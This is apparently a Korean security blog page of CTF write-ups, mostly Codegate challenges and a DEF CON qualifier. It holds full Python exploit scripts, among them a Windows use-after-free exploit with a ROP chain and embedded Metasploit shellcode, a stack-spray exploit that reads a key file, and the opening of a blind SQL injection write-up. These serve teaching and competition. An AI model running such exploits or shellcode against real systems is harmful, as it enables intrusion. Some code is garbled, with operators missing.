sweetchip's blog

0x10 정보보안/0x13 Write-Up 29건이 검색되었습니다.


안녕하세요.


요즘 포스팅에 쓸게 없다보니 예전부터 지금까지 배포했던 문서들을 모아둘까 해서 포스팅 해보려고 합니다.


처음 보안 공부를 접했을 때부터 exploit 관련 분야만 연구하다보니 글을 처음 쓰는 시간 기점으로 모두 Exploit분야밖에 안보이네요!


그래도 가끔씩 컨퍼런스 같은 곳에서 새로운 사람을 만날때 그때 그 문서, 그 자료를 잘 봤다고 인사를 해주는 분이 있는데


그럴때마다 보람을 느끼네요 ㅋㅋ


요즘은 별로 쓸 것도 없고 대단한 것도 아니니 잘 안쓰고 그냥 블로그 포스팅에 하나 남기고 있는데 언제가 될 진 모르지만 문서들을 계속 써볼 예정입니다.


아래는 제가 지금까지 작성한 문서들 리스트입니다. (아직은 4건밖에 없네요.)


2015/01/15 - [0x10 정보보안/0x15 System] - 기술문서 - Introduction to IE's memory protection

- Microsoft Internet Explorer 에 적용되어 있는 Custom Memory Protection들에 대한 소개입니다.

- 여러 브라우저가 그렇듯이 IE도 또한 자신들의 프로그램을 공격하기 어렵게 하기 위해서 각가지 메모리 보호기법을 제작하고 적용했습니다.

- 적용된 보호기법이 어떤 것들이 있는지 알아보고 직접 우회해본 경험담을 바탕으로 작성되었습니다.


2014/04/26 - [0x10 정보보안/0x15 System] - CVE-2012-4792 IE Use-After-Free Analysis and Exploit

- 차세대 보안리더 양성 프로그램 Best Of the Best 2기 프로젝트로 웹브라우저 해킹이 있었는데 프로젝트를 시작할 때 제작한 과거 취약점 분석 입니다.

- 분석 뿐만 아니라 실제로 어떻게 분석을 해야하는지 windbg 명령어로 초반 입문 하는 분들에게는 분명 도움이 되실 겁니다.


2014/08/20 - [0x10 정보보안/0x15 System] - [Memory Protection] Internet Explorer - VTguard에 대하여

- 이 당시에는 그리 긴 문서가 아니라서 그냥 웹에 적은 문서입니다.

- Vtguard를 Memory Leak 버그를 사용하지 않고 EIP를 변경할 수 있는 방법론 입니다.

- 실제 우회 성공 이후 작성한 문서입니다.

2013/05/22 - [0x10 정보보안/0x15 System] - Basic of Real World Exploit on windows [Document]

- 윈도우 어플리케이션의 취약점을 공격하는 것을 따라해보는 컨셉의 문서입니다.
- 대상 프로그램 및 버그는 매우 간단하여 쉽게 따라하실 수 있을 것입니다.

이상입니다!


신고

Comment 3



이번에 데프콘 대회는 순천향대 Security First, Leaveret 그리고 저희 동아리인 SSG 연합으로 나가게 되었는데


이상하게도 작년보다 난이도가 더 어려운것 같네요.


문제들을 분석한것도 많고 취약점도 찾았지만 Exploit을 하지 못한 문제가 상당히 많았습니다 ㅠㅠ


이번 포스팅에는 그냥 문제중 한개인 코딩 챌린지를 풀이하도록 하겠습니다. (문제 이름이 기억이 안나서 그냥 코딩 챌린지로 했습니다,)


#!/usr/bin/env python


import subprocess, os, tempfile

from ctypes import *

import os

from socket import *

import time

import struct

# from pyasm import Program

# from pyasm.instructions import push, mov, ret, pop

# from pyasm.registers import eax, esp, ebp

from distorm3 import Decode, Decode16Bits, Decode32Bits, Decode64Bits


p= lambda x: struct.pack("


PAGE_SIZE = 4096


class AssemblerFunction(object):


def __init__(self, code, ret_type, *arg_types):

# Run Nasm

fd, source = tempfile.mkstemp(".S", "assembly", os.getcwd())

os.write(fd, code)

os.close(fd)

target = os.path.splitext(source)[0]

subprocess.check_call(["nasm",source])

os.unlink(source)

binary = file(target,"rb").read()

os.unlink(target)

bin_len = len(binary)


# align our code on page boundary.

self.code_buffer = create_string_buffer(PAGE_SIZE*2 bin_len)

addr = (addressof(self.code_buffer) PAGE_SIZE) & (~(PAGE_SIZE-1))

memmove(addr, binary, bin_len)


# Change memory protection

self.mprotect = cdll.LoadLibrary("libc.so.6").mprotect

mp_ret = self.mprotect(addr, bin_len, 4) # execute only.

if mp_ret: raise OSError("Unable to change memory protection")


self.func = CFUNCTYPE(ret_type, *arg_types)(addr)

self.addr = addr

self.bin_len = bin_len


def __call__(self, *args):

return self.func(*args)


def __del__(self):

# Revert memory protection

if hasattr(self,"mprotect"):

self.mprotect(self.addr, self.bin_len, 3)



def mov(data):

result = []

data = data.split("\n")

for i in data:

if "=" in i:

tmp = i.split('=')

result.append("mov " tmp[0] ", " tmp[1])

return "\n".join(result)


if __name__ == "__main__":

ip = "catwestern_631d7907670909fc4df2defc13f2057c.quals.shallweplayaga.me"

port = 9999


s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))


lst = []

inst = s.recv(1024)

# print inst

instructions = s.recv(1024).split("\n")[2]

print instructions

print instructions.encode("hex")


l = Decode(0, instructions, Decode64Bits)

t_ins = ""

for i in l:

t_ins = i[2] "\n"

movs = mov(inst)

# print movs

# print t_ins



result = "****Initial Register State****\n"

result = ""

registers = ["rax","rbx","rcx","rdx","rsi","rdi","r8","r9","r10","r11","r12","r13","r14","r15"]

for i in registers:

add_func = """BITS 64\n""" movs "\n" t_ins.replace("RET\n", "") """mov rax, """ i """

ret

"""

print add_func

Add = AssemblerFunction(add_func, c_uint64, c_uint64, c_uint64)

result = i "=" str(hex(Add(ord(os.urandom(1)), ord(os.urandom(1))))) "\n"


result = result.replace("L", "")

s.send(result)

print result

print s.recv(1024)


"""

rax=0x9c8982fc3b5cfae9

rbx=0x20223acc7e6949cb

rcx=0x3a46c99c

rdx=0xd5239501c5b48bd

rsi=0xbabfac6bbf67bbfd

rdi=0xe8fb6dcfe0000000

r8=0xcde6d06e980dd1ce

r9=0x339f0bb7dee53e3e

r10=0x23a769fd87124021

r11=0x2cb79cbedc86431f

r12=0x4d32ab24658d00be

r13=0x7dab448d20a82708

r14=0x3c8b784c

r15=0x43ccf3fcf39883c6


The flag is: Cats with frickin lazer beamz on top of their heads!

"""


문제는 간단하게 64비트 레지스터와 어셈블리 코드를 바이트코드화 해서 클라이언트에게 보내줍니다.


그러면 저희는 그 정보를 받아서 바이트 코드를 실행하고 레지스터 정보를 다시 되돌려 줘야 하는 문제인데요,


구글링해서 python에서 어셈블리 명령어를 실행하고 실행한 명령어의 결과값을 받아오는 스크립트가 있었습니다.


하지만 보내야 하는 것은 레지스터들 정보들이라서 결과값으로는 부족합니다.


그래서 쓴 간단한 꼼수가 함수의 결과값을 받아오는 스크립트이니 마지막에 mov rax, registers 를 붙여서 모든 레지스터의 값을 리턴하고 그 값을 받아오도록 코딩했습니다.


그래서 한번 실행하면 16개의 레지스터들을 모두 얻어오고 서버로 보내면 키값을 되돌려 줍니다.


그래서 저 스크립트를 실행시키면


The flag is: Cats with frickin lazer beamz on top of their heads!

신고

댓글 0


제가 이번 코드게이트에 출제한 문제는 총 2문제로 bookstore 와 bookstore2 이고 이번 포스팅은 Bookstore2 문제 풀이입니다.





흔하지 않은 유형의 문제라고 생각하는데 바로 windows 운영체제에서의 pwnable 입니다.


일반적인 리눅스에서의 Pwnable 문제를 Windows에 적용시켜봤습니다.


이 문제는 원래 예선에서 내려고 했던 문제인데 아무래도 윈도우 문제이고 사람이 많다보니 운영에 문제가 될 수 있을것 같아서 본선에서 출제하기로 했습니다.


본선장에서는 대회가 끝나기 대략 6시간전에 2시간 뒤에 윈도우 문제가 나올것이라고 미리 말해주고 서버 환경을 알려줬습니다.


또한 대회 전날까지 고의적으로 키값등을 삭제하는 부정행위를 방지하기 위하여 리눅스의 wine에서 돌려보자는등 여러가지 의견이 나왔었는데,


계속 고민한 결과 Low Integrity Process로 설정하여 운영하기로 했습니다.



사실 코드게이트에선 아마 윈도우 문제가 처음일텐데 여러가지 걱정도 있기도 했고 늦게나마 안 사실이지만 문제에 약간 오류(오타)가 있었습니다. (푸는데는 지장이 없으니 다행이네)


아무래도 마지막쯤에 취약점을 갑자기 바꾸고 주니어 대회 네트워크를 세팅하느라 정신이 없었던듯 하네요. 다음엔 이점을 주의해야 할것 같네요.


그리고 문제가 다른 문제에비해 약간 쉬운편이다 보니 배점이 낮아서 그런지 처음에는 6팀 정도가 문제를 잡다가 후반엔 3팀 정도가 문제를 잡고 있었습니다.


아쉽게도 본선장에선 문제가 풀리진 않았지만, 대회가 끝나고 나서 몇몇사람들로부터 문제를 풀었다라고 답이 왔네요!


끝나고라도 풀리니 다행... ㅎㅎ


이번 문제에서도 마찬가지로 Exploit 방법과 POC코드만 올리도록 하겠습니다.





Bookstore2 Binary---------------------------------------------------


bookstore2.exe


load.bat


loader.exe

--------------------------------------------------------------------

Server Environment

- Windows 7 Ultimate 32bit

- Low Integrity Process


Vulnerability

- Use-After-Free


Memory Protection

- ASLR, DEP, Stack Cookie, Safe SEH


문제의 컨셉은 예선에 나온 bookstore와 같은 컨셉으로 서점의 책을 관리해주는 컨셉의 어플리케이션이다.


참고로 이번 문제는 환경에 영향을 받지 않도록 제작한 문제이다.


그래서 단순하게 바이너리 안에 있는 정보 만으로도 충분히 Exploit이 가능하도록 만들었고 동일한 Payload로 Windows7, windows8, windows8.1 에서 유니버셜하게 작동하는 Exploit을 제작할 수 있다. (그러나 win8에선 Heap Allocation 문제로 약간 확률이 떨어지는 현상이 있었으나 Exploit이 작동하는것은 확인했다.)


문제 취약점은 Heap영역에서 발생하는 Use-After-Free이다.


이번 문제도 리얼월드에 가깝게 만든 문제들인데, Chrome, Firefox, Internet Explorer 등에 적용되어있는 Heap Isolation을 흉내낸 문제이다.


바이너리를 까보면 CreateHeap 함수로 새로운 힙영역을 만들고 그 부분에 Ebook과 Book 구조체를 할당한다.


하지만 바이너리를 살펴보면 특정상황일때 book이나 ebook 구조체를 Free하지만 그 구조체에 대한 포인터를 완전히 지우지 않음으로써 발생하는 취약점이다.



보통 지금까지 UAF라면 특정 데이터가 Free되서 새로운 string 힙을 만들어서 쉽게 free된 영역에 Re-allocation이 가능했을 것이다.


그러나 이번 문제는 Heap Isolation으로 인하여 Process Heap (이하 힙A)과 HeapCreate로 생성된 새로운 Heap(이하 힙B)에 따로 분리되어 저장되는것을 볼 수 있다.


다시 말하면 힙A에는 일반 string, 일반 데이터가 저장되지만 힙B 에서는 이 데이터들이 모여 저장된 구조체가 저장된다는 것이다.


또한 UAF 취약점은 힙B의 데이터에서 발생하고 그 데이터에는 Function Pointer가 포함되어 있어서 Reallocation을 통하여 Function Pointer를 조작하는것이 목적이다.


그럼 힙B에는 string도 할당이 불가능하고 일반 데이터도 할당이 불가능하고 오직 가공된 구조체만 할당할 수 있다.



그럼 어떻게 해야 할까?


문제를 풀때 구조체를 분석해보면 Book과 Ebook의 구조체의 크기가 약간 다르다는걸 볼 수 있을 것이다.


또한 해커가 데이터를 완전히 Control할 수 있는 크기는 12바이트라는 것도 볼 수 있을 것이다.


이 점을 이용하여 다음과 같이 생각해보자.


예를들어서 0x40 크기를 가진 A 구조체와 0x3c를 가진 B 구조체가 있다고 할때 A라는 힙이 할당되면 실제 힙 영역에서는 다음과 같은 모습일 것이다.


Struct_A ----------------------------------

HHHHHHHHDDDDDDDDDDDDDDDD

| Header | ... Data 0x40 ... |

-----------------------------------------


그리고 B 구조체는 다음과 같을 것이다.


Struct_B ----------------------------------

HHHHHHHHDDDDDDDDDDDD

| Header | .. Data 0x3c .. |

-----------------------------------------


이중 일부 데이터가 Controllable 하다고 하고 일부 데이터가 Function Pointer 라고 하자.



구조체 A를 먼저 힙에 쭉 뿌려두고 모두 Free시킨다. 하지만 포인터는 여전히 남아있을 것이다.


그다음 구조체 B를 힙에 할당시키면 Free된 힙의 처음 부분부터 할당될 것이다.


위 사진처럼 할당을 하면 어딘가에서는 Controllable한 데이터와 Function Pointer가 만나는 지점이 있을 것이다.


이 문제에선 위 원리를 이용하여 Infoleak과 EIP Control이 가능하다.





Exploit Code


아래는 위 원리를 적용한 Exploit이며


Windows 7, Windows 8.1에서 작동하는것을 확인했다.


실제로 Exploit시 metasploit의 Reverse Shell을 붙여주는 쉘코드를 사용하여 문제를 풀었다.


import os

from socket import *

import struct

import time

p = lambda x : struct.pack("

import re


shellcode = ("\xba\x02\x27\xc8\x90\xd9\xe1\xd9\x74\x24\xf4\x5e\x33\xc9"

"\xb1\x32\x31\x56\x12\x83\xc6\x04\x03\x54\x29\x2a\x65\xa4"

"\xdd\x23\x86\x54\x1e\x54\x0e\xb1\x2f\x46\x74\xb2\x02\x56"

"\xfe\x96\xae\x1d\x52\x02\x24\x53\x7b\x25\x8d\xde\x5d\x08"

"\x0e\xef\x61\xc6\xcc\x71\x1e\x14\x01\x52\x1f\xd7\x54\x93"

"\x58\x05\x96\xc1\x31\x42\x05\xf6\x36\x16\x96\xf7\x98\x1d"

"\xa6\x8f\x9d\xe1\x53\x3a\x9f\x31\xcb\x31\xd7\xa9\x67\x1d"

"\xc8\xc8\xa4\x7d\x34\x83\xc1\xb6\xce\x12\x00\x87\x2f\x25"

"\x6c\x44\x0e\x8a\x61\x94\x56\x2c\x9a\xe3\xac\x4f\x27\xf4"

"\x76\x32\xf3\x71\x6b\x94\x70\x21\x4f\x25\x54\xb4\x04\x29"

"\x11\xb2\x43\x2d\xa4\x17\xf8\x49\x2d\x96\x2f\xd8\x75\xbd"

"\xeb\x81\x2e\xdc\xaa\x6f\x80\xe1\xad\xd7\x7d\x44\xa5\xf5"

"\x6a\xfe\xe4\x93\x6d\x72\x93\xda\x6e\x8c\x9c\x4c\x07\xbd"

"\x17\x03\x50\x42\xf2\x60\xae\x08\x5f\xc0\x27\xd5\x35\x51"

"\x2a\xe6\xe3\x95\x53\x65\x06\x65\xa0\x75\x63\x60\xec\x31"

"\x9f\x18\x7d\xd4\x9f\x8f\x7e\xfd\xc3\x4e\xed\x9d\x03")

# calc shellcode from metasploit :)


ip = "200.200.200.5"

port = 1337


ss = socket(AF_INET, SOCK_STREAM)

ss.connect((ip, port))


eip = 1

eip1 = 1

eip2 = 1


def r():

result = ""

try:

while 1:

ss.settimeout(0.001)

# ss.settimeout(0.3)

tmp = ss.recv(1)

result = tmp

if len(tmp) == 0:

#print tmp

break

except:

pass

return result


def s(a):

ss.sendall(a)


def login():

print r()

s("helloadmin\n")

print r()

s("Iulover!@#\n")


def makebook():

print r()

s("1\n")

print r()

s("1\n")

print r()

s("bookname\n")

print r()

s("description\n")

print r()

s("1094795581\n")

print r()

s("1094795580\n")

print r()

s("1\n")


def makeebook():

print r()

s("1\n")

print r()

s("2\n")

print r()

s("bookname\n")

print r()

s("description\n")

print r()

s(str(int(eip1)) "\n") # EIP 4

print r()

s(str(int(eip)) "\n") # EIP

print r()

s(str(int(eip2)) "\n") # EIP 8


def forcefree(target):

print r()

s("2\n")

print r()

s(str(target) "\n") # index

print r()

s("3\n")

print r()

s("-1\n")

print r()

s(str(int(0x43434343)) "\n")

print r()

s(str(int(0x42424242)) "\n")

print r()


s("4\n")

print r()

s("0\n")

print r()

s("0\n")

print r()

s("3\n")

print r()

s(str(target) "\n") # index


def put_gadget(gadget, index):

print r()

s("2\n")

print r()

s(str(index) "\n")

print r()

s("2\n")

print r()

s(gadget "\n")

print r()

s("0\n")



def view(target):

print r()

s("4\n")

print r()

s(str(target) "\n") # taarget

return r()


def payload(baseaddress):

virtualalloc_warp = baseaddress 0x2070 #fix

fgets_wrap = baseaddress 0x1460 #fix


ppppr = baseaddress 0x9dff #fix

pppr = ppppr 1

ppr = pppr 1

pr = ppr 1

r = pr 1

virtual_space = 0x00100000


result = ""

result = p(r) * 10

result = p(virtualalloc_warp)

result = p(pppr)

result = p(virtual_space)

result = p(0x10000)

result = p(0x40)

# result = p(0x41414141)

result = p(fgets_wrap)

result = p(ppr)

result = p(virtual_space)

result = p(len(shellcode) 2000)


result = p(virtual_space 20)

return result


################################ START

time.sleep(0.1)

login()

################################ INFO LEAAK

# time.sleep(10)

total = -1

for i in range(0, 4):

makeebook()

total = 1

for i in range(0, 4):

forcefree(i)

for i in range(0, 4):

makebook()

total = 1


data = view(2) # infoleak



print "data = " data

found = re.findall("Price : (.*)\n", data)

print found

################################# Make Payload

baseaddr = int(found[0].replace("\r",""))&0xFFFF0000

gadget1 = baseaddr 0x1e97 #fix

"""

xchg eax, esp

pop ecx

pop eax

retn

"""

memory = baseaddr 0x171c0 # global var #fix

eip = gadget1

eip1 = memory

eip2 = gadget1


put_gadget(payload(baseaddr), 6)


################################# Exploit

for i in range(0, 4):

makebook()

total = 1

for i in range(0, 4):

forcefree(7 i)

for i in range(0, 4):

makeebook()

total = 1

print view(7 3) # infoleak

s("\x90"*100 "\xbc\x00\x50\x10\x00" "\x90"*500 shellcode "\x90"*500 "\xcc" "\n")

print r()

print hex(baseaddr)

time.sleep(1)



끝!


신고

Comment 2



올해 코드게이트는 우리회사에서 진행하게 되어서 나도 함께 문제를 출제하게 되었는데


사실 이번 코드게이트 같이 매우 큰 규모의 CTF에서의 문제 출제는 처음이었다.


그래서 어느 문제를 내야할지 상당히 고민을 많이 했는데, 난이도가 어려운 문제는 이미 다른 멤버들이 담담해주시니 ㅋㅋ


나는 지금까지 리얼월드에서 찾은 취약점중 재미있던 취약점을 문제에 적용시키기로 했다.


그리고 중간고사 직전인 지금 중간고사 공부가 재미없어서 오랜만에 블로그에 글이나 써볼까 하다가..


나오게된 셀프 Write-Up!



Bookstore -

bookstore_bin


Bug Class : Uninitialized memory reference


문제의 컨셉은 서점의 책을 관리해주는 간단한 어플리케이션이다.


바이너리는 32비트이며 PIE / ASLR / NX 모두 적용되어있는 바이너리이다.


아마 이런 유형의 취약점을 처음 찾아본다면 취약점을 찾는데 약간 어려웠을 수도 있는데 문제를 풀고나면 생각보다 간단했을 것이다.



이미 다른 분들이 써둔 Write-up이 있으니 이 포스팅에선 문제 버그에 대한 원리만 간단하게 설명해보도록 하겠다.


예를들어서 위와 같은 구조체가 있다고 하자.



이때 우리가 새로운 구조체를 스택(지역변수)에 만들었다고 한다고 할때 기본적으로 구조체라면 위와 같이 생겼을 것이다.


그래서 필요한 경우에 따라 위처럼 값을 채워나갈 것이다.

그리고 위에 보면 그대로 0인 부분이 있는데 이 부분은 정상적인 0인 값이거나 내가 별도로 초기화 하지 않은 부분이다.


아까 말했듯이 구조체를 지역변수로 만들 경우 스택에 일정 공간을 잡아두고 그 곳에 데이터를 채워 넣는 방식이라고 했다.

사용할 스택을 미리 예측해서 그 부분에 Stack Spray(?)를 해놓고 나중에 구조체가 그 스프레이된 곳에서 세팅하도록 유도한다면 어떨까?

문제 내에서는 이유없이 이상하게 3000바이트를 받고 약 200바이트 약간 안되게 잘라서 다시 넣는 부분이 있을 것이다.

사실 풀어본 사람은 알겠지만 그 부분이 바로 스택 스프레이를 하는 부분이다.


그렇다면 다시 살펴보자.

위와 같은 구조체가 있다고 하고 스택영역에 할당될 예정이다.

그전에 미리 3000바이트 정도 스택영역에 스프레이를 해두면 실제 구조체를 만들 당시 아무 값도 초기화 하지 않을 경우 아래그림과 같은 상태일 것이다.


위는 스택 스프레이가 진행된 모습이다.


그래서 구조체를 세팅하다보면 아까와는 달리 초기화 하지 않은 일부 0인 부분이 AAAA 로 변한 모습이 보일 것이다. (s3는 잘못 색칠한것임! 원래 AAAA임!, s4는 위에 언급했듯이 원래 0값으로 가정.)


위와 같이 내 맘대로 원하는 구조체를 저렇게 바꿔버리면 프로그램의 흐름을 바꿀 수 있다.


그래서 탄생한 Exploit 은 다음과 같다.



#Exploit


from socket import *

import struct

import os

p = lambda x : struct.pack("


ip = "0.0.0.0" # blind

port = 31337


print "[*] CODEGATE 2015 bookstore exploit."

print "[*] Start Exploit."

s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))


def r(s):

result = ""

try:

while 1:

s.settimeout(0.1)

tmp = s.recv(1)

result = tmp

if len(tmp) == 0:

#print tmp

break

except:

pass

return result


#def s(s, a):

# s.sendall(a)


print r(s)

s.sendall("helloadmin")

print r(s)

s.sendall("iulover!@#$");

#print r(s)

for i in range(0, 3):

#s.recv(1024)

#s.recv(1024)

print r(s)

# s.sendall("1")

# s.recv(1024)

s.sendall("1\n")

print r(s)#s.recv(1024)

s.sendall("AAAAA")

print r(s)#s.recv(1024)

#s.recv(1024)

s.sendall("AAAAA")

print r(s)#s.recv(1024)

#s.recv(1024)

s.sendall("0\n")

# s.recv(1024)

# s.sendall(str(0x42424242) "\n")

# s.recv(1024)

# s.sendall(str(0x42424242) "\n")


print r(s)

s.sendall("2\n") # into modify option

print r(s)

s.sendall("1\n") # target index

print r(s)

#s.recv(1024)



s.sendall("3\n") # modify all

s.recv(1024)

print r(s)

s.sendall(str(0x42424242) "\n")

print r(s)

#s.recv(1024)

s.sendall(str(0x42424242) "\n")

print r(s)

s.sendall("1\n") # modify all

print r(s)

s.sendall("1\n") # modify all

print r(s)

s.sendall("A"*20)

print r(s)

s.sendall("C"*30)

print r(s)

s.sendall("0\n") # exi

print r(s)



s.sendall("4\n") # show list

leak = r(s)

#leak = s.recv(1024)

b = leak.split("AAAAAAAAAAAAAAAAAAAABBBBBBBB")[1][:4]


point = ((struct.unpack("

print "[*] LEAKED Memory : " str(hex(point))


s.sendall("2\n") # into modify option

print r(s)

s.sendall("0\n") # target index

print r(s)



s.sendall("1\n") # modify bookname

print r(s)

s.sendall("A"*30)

print r(s)

import time

s.sendall("2\n") # modify bookdescription

print r(s)

time.sleep(0.3)

s.sendall(p(point)*(2800/4))

time.sleep(0.3)

print r(s)



s.sendall("3\n") # create vuln object

print r(s)


s.sendall(str(0x42424242) "\n")

print r(s)

s.sendall(str(0x42424242) "\n")

print r(s)

s.sendall("0\n") # free shipping

print r(s)

s.sendall("1\n") # now avaliable

print r(s)

s.sendall("/home/bookstore/key")

# s.sendall("/home/sweetchip/key")

print r(s)

s.sendall("A")

print r(s)



s.sendall("4\n") # change free shipping option

print r(s)

s.sendall("1\n")

print r(s)


s.sendall("0\n") # back to main menu

print r(s)


s.sendall("4\n") # show list

print r(s)


s.sendall("3\n") # item info

print r(s)

s.sendall("0\n")#index

print r(s)

#print "[*] Key is : " r(s).split("====================================================================")[0].split("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n")[1].replace("\n", "")

s.close()



곧바로 다음 포스팅은 본선에 출제된 bookstore2...


감사합니다.


신고

댓글 0



dodoCrackme


binary

crackme_d079a0af0b01789c01d5755c885da4f6


우선 바이너리는 64비트 크랙미 파일이며 string이 존재하지 않아 첫번째 멘붕을 시켜준 문제이다.


마음을 진정하고 strace를 해보았다.

helloworld@ubuntu:~/sweetchip$ strace ./c

execve("./c", ["./c"], [/* 19 vars */]) = 0

mmap(NULL, 30000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f7e1f22d000

write(1, "r", 1r) = 1

write(1, "o", 1o) = 1

write(1, "o", 1o) = 1

write(1, "t", 1t) = 1

write(1, "@", 1@) = 1

write(1, "l", 1l) = 1

write(1, "o", 1o) = 1

write(1, "c", 1c) = 1

write(1, "a", 1a) = 1

write(1, "l", 1l) = 1

write(1, "h", 1h) = 1

write(1, "o", 1o) = 1

write(1, "s", 1s) = 1

write(1, "t", 1t) = 1

write(1, "'", 1') = 1

write(1, "s", 1s) = 1

write(1, " ", 1 ) = 1

write(1, "p", 1p) = 1

write(1, "a", 1a) = 1

write(1, "s", 1s) = 1

write(1, "s", 1s) = 1

write(1, "w", 1w) = 1

write(1, "o", 1o) = 1

write(1, "r", 1r) = 1

write(1, "d", 1d) = 1

write(1, ":", 1:) = 1

write(1, " ", 1 ) = 1

read(0, zz

"z", 1) = 1

read(0, "z", 1) = 1

read(0, "\n", 1) = 1

write(1, "P", 1P) = 1

write(1, "e", 1e) = 1

write(1, "r", 1r) = 1

write(1, "m", 1m) = 1

write(1, "i", 1i) = 1

write(1, "s", 1s) = 1

write(1, "s", 1s) = 1

write(1, "i", 1i) = 1

write(1, "o", 1o) = 1

write(1, "n", 1n) = 1

write(1, " ", 1 ) = 1

write(1, "d", 1d) = 1

write(1, "e", 1e) = 1

write(1, "n", 1n) = 1

write(1, "i", 1i) = 1

write(1, "e", 1e) = 1

write(1, "d", 1d) = 1

write(1, " ", 1 ) = 1

write(1, "(", 1() = 1

write(1, "p", 1p) = 1

write(1, "a", 1a) = 1

write(1, "s", 1s) = 1

write(1, "s", 1s) = 1

write(1, "w", 1w) = 1

write(1, "o", 1o) = 1

write(1, "r", 1r) = 1

write(1, "d", 1d) = 1

write(1, ")", 1)) = 1

write(1, ".", 1.) = 1

write(1, "\n", 1

) = 1

_exit(0) = ?

exited with 0


보면 1글자씩 write를 하는것 같았다. 하지만 hex로 파일을 보면 string이 아예없고 비슷하게 모여있는것은 없었다.


그래서 ida로 열어보니 1바이트씩 계속 'inc byte ptr [rbp 0]' 연산을 하는것을 볼 수 잇엇는데 이같이 글자를 1개씩 늘려서 출력하는 것으로 예상하고


대충 찾아보았다. 그랬더니 H4PPY 가 맞춰지는 것을 보고 노가다를 뛰어서 키를 만들어냈다.


Key : H4PPY_C0DEGaTE_2014_CU_1N_K0RE4


#######################################################################################################################


WeirdShark


binary

invalid-file



매우 간단한 문제이다.




cap_len이 0xFE89413E 라서 매우 길다는 것인데 (최대 길이 62)


이를 찾아보면



가 있다. 이를 3e 00 00 00 으로 바꿔주고 실행하면 패킷이 잘 보이는데,


http로 전송된 파일목록을 모두 추출하면 여러 파일 중 pdf 가 보일것이다.


pdf를 살펴보면




Key : FORENSICS_WITH_HAXORS




신고

Comment 2

  • KaiEn
    2014.02.27 00:12 신고 수정 답글

    이야 성원이 문제 많이 풀었네..ㄷㄷ
    그 두두크랙미는 걍 gdb에서 data영역 덤프하니까 바로 나오던뎀..

    • 2014.02.27 01:20 신고 수정

      ㅋㅋ 코드게이트 문제를 풀고 암이 걸렸습니다.. ㅠ-ㅠ.
      하아.. 새로운 사실 알아갑니다.. 감사합니다 ㅎㅎ




binary

invalid-file



코드게이트에 출제된 윈도우 리버싱 문제이다.


다른 팀의 풀이를 보고 한숨 나왔다... 내가 삽질 한거구나.. -_-


프로그램은 자신을 400번이나 재 실행하는 프로그램이다.


프로그램을 분석해보면 재 실행 하는 과정 중 다음 복제할 프로그램의 인자를 생성하고 받은 인자로 키배열로 추정되는 배열을 연산시킨다.


ag1 = 0xA8276BFA

ag2 = 0x92F837ED


ror=lambda x, y: ((x & 0xFFFFFFFF) >> y) | (x << (32-y2)) & 0xFFFFFFFF

rol=lambda x, y: (x << y) & 0xFFFFFFFF | ((x & 0xFFFFFFFF) >> (32-y2))


def ROR(x, y):

x=bin(x & 0xFFFFFFFF)[2:].zfill(32)

start=x[:-y]

end=x[-y:]

return eval('0b' end start)

def ROL(x, y):

x=bin(x & 0xFFFFFFFF)[2:].zfill(32)

start=x[:y]

end=x[y:]

return eval('0b' end start)


def f_401280(a1, a2):

v4 = 1

i = 0

for i in range(0, a2):

v4 *= a1

return v4&0xffffffff


def wtf(str, a1, a2):

v3 = len(str) 1;

v6 = ""

for i in range(0, v3-1, 2):

v6 = chr(int(a1 & 0xff) ^ ord(str[i]))

a1 = ROL(a1, 5) ^ 0x2f

if str[i 1] == "":

break

v6 = chr(int(a2 & 0xff) ^ ord(str[i 1]))

a2 = (a1&0xff) ^ ROL(a2, 11)

return v6


if __name__ == '__main__':

ag3 = 1

flag = 0

key = "\x0F\x8E\x9E\x39\x3D\x5E\x3F\xA8\x7A\x68\x0C\x3D\x8B\xAD\xC5\xD0\x7B\x09\x34\xB6\xA3\xA0\x3E\x67\x5D\xD6"

newag1 = 0

newag2 = 0

newag3 = 1


f = open("result_last.txt", "wb")


for i in range(0, 400):

if i != 0:

ag1 = newag1

ag2 = newag2

ag3 = newag3

result = wtf(key, ag1, ag2)

ag1 = ag1 ^ 0xb72af098

tempag2 = ag1

ag1 *= ag2

ag1 ^= ag2

temp_ag1= ag1 & 0xffffffff

ag1 &= 0xffffffff

ag2 = tempag2

r2 = ""


f.write(result "\n")


ag1 = (29 * ag2 7 * f_401280(ag2, 2)) & 0xffffffff

ag2 = f_401280(ag1 ^ temp_ag1, ag1 % 2 5) & 0xffffffff


ttemp_ag2 = 0

exitcode = 0

if tempag2 >= 0xd0000000:

exitcode = 13 * (ag1 / 27) ^ 0x1f2a990d

ag1 = exitcode

ag2 = newag2


if flag == 0:

ag2 = f_401280(exitcode ^ ag2, exitcode % 30)

ag2 = 0

flag = 1

else:

ag2 = f_401280(newag2 ^ exitcode, exitcode % 30)


ttemp_ag2 = ag2

ag3 = 1

newag1 = ag1

newag2 = ag2

newag3 = ag3

f.close()



코드가 상당히 더러운편인데 그 만큼 멘붕을 했다는 뜻이다.





다른 풀이방법을 생각해보면 함수를 코드패치 해서 messagebox를 띄우는 방법이 있는 등 다른 좋은 방법이 많을 것이다.


대회 당시에도 생각을 하긴 햇지만 이미 코드는 반이상 짜둔터라 그냥 진행 하기로 했었다. [에휴]


신고

Comment 2




문제는 웹 문제이며 Blind Sql Injection 문제이다.


랜덤으로 30글자의 password를 설정하고 120번동안 password를 맞출 수 있는 기회가 있는데 그 기회를 모두 사용하면 password가 초기화 되어 또 랜덤 30글자가 만들어진다


또한 문제 부분에 sql injection 취약점이 있으며 쿼리를 잘 조정하면 password를 빼올 수 있었는데, 총 30글자에 120번의 기회면 1글자당 4번의 기회가 있는 것이다.


기존에 내가 사용하던 무작위 대입으론 별로 효과가 없을 것이고 bit shift를 이용한 풀이도 또한 7번의 기회가 있어야 하므로 충분하지 않다. [최소한 4번의 기회가 필요하다.]


고민고민 중에 새로운 문서를 찾아보기도 하고 등등 했는데 [write up을 다쓰고보니 time-based blind sql injection을 한 분도 꽤나 많은것 같다.]


별로 소용이 없어서 다른 방법을 찾아보기로 했다.


session_start();

$link = @mysql_connect('localhost', '', '');
@
mysql_select_db('', $link);

function
RandomString()
{
$filename = "smash.txt";
$f = fopen($filename, "r");
$len = filesize($filename);
$contents = fread($f, $len);
$randstring = '';
while(
